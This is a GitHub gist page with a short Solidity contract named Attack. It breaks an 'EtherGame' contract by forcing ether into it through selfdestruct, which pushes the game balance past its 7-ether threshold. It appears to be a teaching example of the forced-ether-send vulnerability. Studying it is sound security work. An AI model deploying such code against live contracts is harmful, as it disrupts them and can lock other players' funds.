Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created June 2, 2022 10:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save az0mb13/03755208456816d7ebc30d8cbd22143e to your computer and use it in GitHub Desktop.
Save az0mb13/03755208456816d7ebc30d8cbd22143e to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment